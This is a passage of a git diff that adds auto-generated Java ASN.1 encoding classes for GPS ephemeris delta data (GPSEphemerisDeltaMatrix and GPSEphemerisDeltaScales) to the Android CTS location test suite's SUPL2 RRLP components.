+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GPSEphemerisDeltaMatrix from encoded stream.
+ */
+ public static GPSEphemerisDeltaMatrix fromPerAligned(byte[] encodedBytes) {
+ GPSEphemerisDeltaMatrix result = new GPSEphemerisDeltaMatrix();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public GPSEphemerisDeltaEpoch createAndAddValue() {
+ GPSEphemerisDeltaEpoch value = new GPSEphemerisDeltaEpoch();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GPSEphemerisDeltaMatrix = [\n");
+ final String internalIndent = indent + " ";
+ for (GPSEphemerisDeltaEpoch value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisDeltaScales.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisDeltaScales.java
new file mode 100755
index 0000000..1d91d3c
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisDeltaScales.java
@@ -0,0 +1,2421 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GPSEphemerisDeltaScales extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GPSEphemerisDeltaScales
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GPSEphemerisDeltaScales() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GPSEphemerisDeltaScales;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GPSEphemerisDeltaScales != null) {
+ return ImmutableList.of(TAG_GPSEphemerisDeltaScales);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GPSEphemerisDeltaScales from encoded stream.
+ */
+ public static GPSEphemerisDeltaScales fromPerUnaligned(byte[] encodedBytes) {
+ GPSEphemerisDeltaScales result = new GPSEphemerisDeltaScales();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GPSEphemerisDeltaScales from encoded stream.
+ */
+ public static GPSEphemerisDeltaScales fromPerAligned(byte[] encodedBytes) {
+ GPSEphemerisDeltaScales result = new GPSEphemerisDeltaScales();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GPSEphemerisDeltaScales.scale_delta_omegaType scale_delta_omega_;
+ public GPSEphemerisDeltaScales.scale_delta_omegaType getScale_delta_omega() {
+ return scale_delta_omega_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSEphemerisDeltaScales.scale_delta_omegaType
+ */
+ public void setScale_delta_omega(Asn1Object value) {
+ this.scale_delta_omega_ = (GPSEphemerisDeltaScales.scale_delta_omegaType) value;
+ }
+ public GPSEphemerisDeltaScales.scale_delta_omegaType setScale_delta_omegaToNewInstance() {
+ scale_delta_omega_ = new GPSEphemerisDeltaScales.scale_delta_omegaType();
+ return scale_delta_omega_;
+ }
+
+ private GPSEphemerisDeltaScales.scale_delta_deltaNType scale_delta_deltaN_;
+ public GPSEphemerisDeltaScales.scale_delta_deltaNType getScale_delta_deltaN() {
+ return scale_delta_deltaN_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSEphemerisDeltaScales.scale_delta_deltaNType
+ */
+ public void setScale_delta_deltaN(Asn1Object value) {
+ this.scale_delta_deltaN_ = (GPSEphemerisDeltaScales.scale_delta_deltaNType) value;
+ }
+ public GPSEphemerisDeltaScales.scale_delta_deltaNType setScale_delta_deltaNToNewInstance() {
+ scale_delta_deltaN_ = new GPSEphemerisDeltaScales.scale_delta_deltaNType();
+ return scale_delta_deltaN_;
+ }
+
+ private GPSEphemerisDeltaScales.scale_delta_m0Type scale_delta_m0_;
+ public GPSEphemerisDeltaScales.scale_delta_m0Type getScale_delta_m0() {
+ return scale_delta_m0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSEphemerisDeltaScales.scale_delta_m0Type
+ */
+ public void setScale_delta_m0(Asn1Object value) {
+ this.scale_delta_m0_ = (GPSEphemerisDeltaScales.scale_delta_m0Type) value;
+ }
+ public GPSEphemerisDeltaScales.scale_delta_m0Type setScale_delta_m0ToNewInstance() {
+ scale_delta_m0_ = new GPSEphemerisDeltaScales.scale_delta_m0Type();
+ return scale_delta_m0_;
+ }
+
+ private GPSEphemerisDeltaScales.scale_delta_omegadotType scale_delta_omegadot_;
+ public GPSEphemerisDeltaScales.scale_delta_omegadotType getScale_delta_omegadot() {
+ return scale_delta_omegadot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSEphemerisDeltaScales.scale_delta_omegadotType
+ */
+ public void setScale_delta_omegadot(Asn1Object value) {
+ this.scale_delta_omegadot_ = (GPSEphemerisDeltaScales.scale_delta_omegadotType) value;
+ }
+ public GPSEphemerisDeltaScales.scale_delta_omegadotType setScale_delta_omegadotToNewInstance() {
+ scale_delta_omegadot_ = new GPSEphemerisDeltaScales.scale_delta_omegadotType();
+ return scale_delta_omegadot_;
+ }
+
+ private GPSEphemerisDeltaScales.scale_delta_eType scale_delta_e_;
+ public GPSEphemerisDeltaScales.scale_delta_eType getScale_delta_e() {
+ return scale_delta_e_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSEphemerisDeltaScales.scale_delta_eType
+ */
+ public void setScale_delta_e(Asn1Object value) {
+ this.scale_delta_e_ = (GPSEphemerisDeltaScales.scale_delta_eType) value;
+ }
+ public GPSEphemerisDeltaScales.scale_delta_eType setScale_delta_eToNewInstance() {
+ scale_delta_e_ = new GPSEphemerisDeltaScales.scale_delta_eType();
+ return scale_delta_e_;
+ }
+
+ private GPSEphemerisDeltaScales.scale_delta_idotType scale_delta_idot_;
+ public GPSEphemerisDeltaScales.scale_delta_idotType getScale_delta_idot() {
+ return scale_delta_idot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSEphemerisDeltaScales.scale_delta_idotType
+ */
+ public void setScale_delta_idot(Asn1Object value) {
+ this.scale_delta_idot_ = (GPSEphemerisDeltaScales.scale_delta_idotType) value;
+ }
+ public GPSEphemerisDeltaScales.scale_delta_idotType setScale_delta_idotToNewInstance() {
+ scale_delta_idot_ = new GPSEphemerisDeltaScales.scale_delta_idotType();
+ return scale_delta_idot_;
+ }
+
+ private GPSEphemerisDeltaScales.scale_delta_sqrtAType scale_delta_sqrtA_;
+ public GPSEphemerisDeltaScales.scale_delta_sqrtAType getScale_delta_sqrtA() {
+ return scale_delta_sqrtA_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSEphemerisDeltaScales.scale_delta_sqrtAType
+ */
+ public void setScale_delta_sqrtA(Asn1Object value) {
+ this.scale_delta_sqrtA_ = (GPSEphemerisDeltaScales.scale_delta_sqrtAType) value;
+ }
+ public GPSEphemerisDeltaScales.scale_delta_sqrtAType setScale_delta_sqrtAToNewInstance() {
+ scale_delta_sqrtA_ = new GPSEphemerisDeltaScales.scale_delta_sqrtAType();
+ return scale_delta_sqrtA_;
+ }
+
+ private GPSEphemerisDeltaScales.scale_delta_i0Type scale_delta_i0_;
+ public GPSEphemerisDeltaScales.scale_delta_i0Type getScale_delta_i0() {
+ return scale_delta_i0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSEphemerisDeltaScales.scale_delta_i0Type
+ */
+ public void setScale_delta_i0(Asn1Object value) {
+ this.scale_delta_i0_ = (GPSEphemerisDeltaScales.scale_delta_i0Type) value;
+ }
+ public GPSEphemerisDeltaScales.scale_delta_i0Type setScale_delta_i0ToNewInstance() {
+ scale_delta_i0_ = new GPSEphemerisDeltaScales.scale_delta_i0Type();
+ return scale_delta_i0_;
+ }
+
+ private GPSEphemerisDeltaScales.scale_delta_omega0Type scale_delta_omega0_;
+ public GPSEphemerisDeltaScales.scale_delta_omega0Type getScale_delta_omega0() {
+ return scale_delta_omega0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSEphemerisDeltaScales.scale_delta_omega0Type
+ */
+ public void setScale_delta_omega0(Asn1Object value) {
+ this.scale_delta_omega0_ = (GPSEphemerisDeltaScales.scale_delta_omega0Type) value;
+ }
+ public GPSEphemerisDeltaScales.scale_delta_omega0Type setScale_delta_omega0ToNewInstance() {
+ scale_delta_omega0_ = new GPSEphemerisDeltaScales.scale_delta_omega0Type();
+ return scale_delta_omega0_;
+ }
+
+ private GPSEphemerisDeltaScales.scale_delta_crsType scale_delta_crs_;
+ public GPSEphemerisDeltaScales.scale_delta_crsType getScale_delta_crs() {
+ return scale_delta_crs_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSEphemerisDeltaScales.scale_delta_crsType
+ */
+ public void setScale_delta_crs(Asn1Object value) {
+ this.scale_delta_crs_ = (GPSEphemerisDeltaScales.scale_delta_crsType) value;
+ }
+ public GPSEphemerisDeltaScales.scale_delta_crsType setScale_delta_crsToNewInstance() {
+ scale_delta_crs_ = new GPSEphemerisDeltaScales.scale_delta_crsType();
+ return scale_delta_crs_;
+ }
+
+ private GPSEphemerisDeltaScales.scale_delta_cisType scale_delta_cis_;
+ public GPSEphemerisDeltaScales.scale_delta_cisType getScale_delta_cis() {
+ return scale_delta_cis_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSEphemerisDeltaScales.scale_delta_cisType
+ */
+ public void setScale_delta_cis(Asn1Object value) {
+ this.scale_delta_cis_ = (GPSEphemerisDeltaScales.scale_delta_cisType) value;
+ }
+ public GPSEphemerisDeltaScales.scale_delta_cisType setScale_delta_cisToNewInstance() {
+ scale_delta_cis_ = new GPSEphemerisDeltaScales.scale_delta_cisType();
+ return scale_delta_cis_;
+ }
+
+ private GPSEphemerisDeltaScales.scale_delta_cusType scale_delta_cus_;
+ public GPSEphemerisDeltaScales.scale_delta_cusType getScale_delta_cus() {
+ return scale_delta_cus_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSEphemerisDeltaScales.scale_delta_cusType
+ */
+ public void setScale_delta_cus(Asn1Object value) {
+ this.scale_delta_cus_ = (GPSEphemerisDeltaScales.scale_delta_cusType) value;
+ }
+ public GPSEphemerisDeltaScales.scale_delta_cusType setScale_delta_cusToNewInstance() {
+ scale_delta_cus_ = new GPSEphemerisDeltaScales.scale_delta_cusType();
+ return scale_delta_cus_;
+ }
+
+ private GPSEphemerisDeltaScales.scale_delta_crcType scale_delta_crc_;
+ public GPSEphemerisDeltaScales.scale_delta_crcType getScale_delta_crc() {
+ return scale_delta_crc_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSEphemerisDeltaScales.scale_delta_crcType
+ */
+ public void setScale_delta_crc(Asn1Object value) {
+ this.scale_delta_crc_ = (GPSEphemerisDeltaScales.scale_delta_crcType) value;
+ }
+ public GPSEphemerisDeltaScales.scale_delta_crcType setScale_delta_crcToNewInstance() {
+ scale_delta_crc_ = new GPSEphemerisDeltaScales.scale_delta_crcType();
+ return scale_delta_crc_;
+ }
+
+ private GPSEphemerisDeltaScales.scale_delta_cicType scale_delta_cic_;
+ public GPSEphemerisDeltaScales.scale_delta_cicType getScale_delta_cic() {
+ return scale_delta_cic_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSEphemerisDeltaScales.scale_delta_cicType
+ */
+ public void setScale_delta_cic(Asn1Object value) {
+ this.scale_delta_cic_ = (GPSEphemerisDeltaScales.scale_delta_cicType) value;
+ }
+ public GPSEphemerisDeltaScales.scale_delta_cicType setScale_delta_cicToNewInstance() {
+ scale_delta_cic_ = new GPSEphemerisDeltaScales.scale_delta_cicType();
+ return scale_delta_cic_;
+ }
+
+ private GPSEphemerisDeltaScales.scale_delta_cucType scale_delta_cuc_;
+ public GPSEphemerisDeltaScales.scale_delta_cucType getScale_delta_cuc() {
+ return scale_delta_cuc_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSEphemerisDeltaScales.scale_delta_cucType
+ */
+ public void setScale_delta_cuc(Asn1Object value) {
+ this.scale_delta_cuc_ = (GPSEphemerisDeltaScales.scale_delta_cucType) value;
+ }
+ public GPSEphemerisDeltaScales.scale_delta_cucType setScale_delta_cucToNewInstance() {
+ scale_delta_cuc_ = new GPSEphemerisDeltaScales.scale_delta_cucType();
+ return scale_delta_cuc_;
+ }
+
+ private GPSEphemerisDeltaScales.scale_delta_tgdType scale_delta_tgd_;
+ public GPSEphemerisDeltaScales.scale_delta_tgdType getScale_delta_tgd() {
+ return scale_delta_tgd_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSEphemerisDeltaScales.scale_delta_tgdType
+ */
+ public void setScale_delta_tgd(Asn1Object value) {
+ this.scale_delta_tgd_ = (GPSEphemerisDeltaScales.scale_delta_tgdType) value;
+ }
+ public GPSEphemerisDeltaScales.scale_delta_tgdType setScale_delta_tgdToNewInstance() {
+ scale_delta_tgd_ = new GPSEphemerisDeltaScales.scale_delta_tgdType();
+ return scale_delta_tgd_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getScale_delta_omega() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getScale_delta_omega();
+ }
+
+ @Override public void setToNewInstance() {
+ setScale_delta_omegaToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSEphemerisDeltaScales.scale_delta_omegaType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "scale_delta_omega : "
+ + getScale_delta_omega().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getScale_delta_deltaN() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getScale_delta_deltaN();
+ }
+
+ @Override public void setToNewInstance() {
+ setScale_delta_deltaNToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSEphemerisDeltaScales.scale_delta_deltaNType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "scale_delta_deltaN : "
+ + getScale_delta_deltaN().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getScale_delta_m0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getScale_delta_m0();
+ }
+
+ @Override public void setToNewInstance() {
+ setScale_delta_m0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSEphemerisDeltaScales.scale_delta_m0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "scale_delta_m0 : "
+ + getScale_delta_m0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getScale_delta_omegadot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getScale_delta_omegadot();
+ }
+
+ @Override public void setToNewInstance() {
+ setScale_delta_omegadotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSEphemerisDeltaScales.scale_delta_omegadotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "scale_delta_omegadot : "
+ + getScale_delta_omegadot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getScale_delta_e() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getScale_delta_e();
+ }
+
+ @Override public void setToNewInstance() {
+ setScale_delta_eToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSEphemerisDeltaScales.scale_delta_eType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "scale_delta_e : "
+ + getScale_delta_e().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getScale_delta_idot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getScale_delta_idot();
+ }
+
+ @Override public void setToNewInstance() {
+ setScale_delta_idotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSEphemerisDeltaScales.scale_delta_idotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "scale_delta_idot : "
+ + getScale_delta_idot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getScale_delta_sqrtA() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getScale_delta_sqrtA();
+ }
+
+ @Override public void setToNewInstance() {
+ setScale_delta_sqrtAToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSEphemerisDeltaScales.scale_delta_sqrtAType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "scale_delta_sqrtA : "
+ + getScale_delta_sqrtA().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 7);
+
+ @Override public boolean isExplicitlySet() {
+ return getScale_delta_i0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getScale_delta_i0();
+ }
+
+ @Override public void setToNewInstance() {
+ setScale_delta_i0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSEphemerisDeltaScales.scale_delta_i0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "scale_delta_i0 : "
+ + getScale_delta_i0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 8);
+
+ @Override public boolean isExplicitlySet() {
+ return getScale_delta_omega0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getScale_delta_omega0();
+ }
+
+ @Override public void setToNewInstance() {
+ setScale_delta_omega0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSEphemerisDeltaScales.scale_delta_omega0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "scale_delta_omega0 : "
+ + getScale_delta_omega0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 9);
+
+ @Override public boolean isExplicitlySet() {
+ return getScale_delta_crs() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getScale_delta_crs();
+ }
+
+ @Override public void setToNewInstance() {
+ setScale_delta_crsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSEphemerisDeltaScales.scale_delta_crsType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "scale_delta_crs : "
+ + getScale_delta_crs().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 10);
+
+ @Override public boolean isExplicitlySet() {
+ return getScale_delta_cis() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getScale_delta_cis();
+ }
+
+ @Override public void setToNewInstance() {
+ setScale_delta_cisToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSEphemerisDeltaScales.scale_delta_cisType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "scale_delta_cis : "
+ + getScale_delta_cis().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 11);
+
+ @Override public boolean isExplicitlySet() {
+ return getScale_delta_cus() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getScale_delta_cus();
+ }
+
+ @Override public void setToNewInstance() {
+ setScale_delta_cusToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSEphemerisDeltaScales.scale_delta_cusType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "scale_delta_cus : "
+ + getScale_delta_cus().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 12);
+
+ @Override public boolean isExplicitlySet() {
+ return getScale_delta_crc() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getScale_delta_crc();
+ }
+
+ @Override public void setToNewInstance() {
+ setScale_delta_crcToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSEphemerisDeltaScales.scale_delta_crcType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "scale_delta_crc : "
+ + getScale_delta_crc().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 13);
+
+ @Override public boolean isExplicitlySet() {
+ return getScale_delta_cic() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getScale_delta_cic();
+ }
+
+ @Override public void setToNewInstance() {
+ setScale_delta_cicToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSEphemerisDeltaScales.scale_delta_cicType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "scale_delta_cic : "
+ + getScale_delta_cic().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 14);
+
+ @Override public boolean isExplicitlySet() {
+ return getScale_delta_cuc() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getScale_delta_cuc();
+ }
+
+ @Override public void setToNewInstance() {
+ setScale_delta_cucToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSEphemerisDeltaScales.scale_delta_cucType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "scale_delta_cuc : "
+ + getScale_delta_cuc().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 15);
+
+ @Override public boolean isExplicitlySet() {
+ return getScale_delta_tgd() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
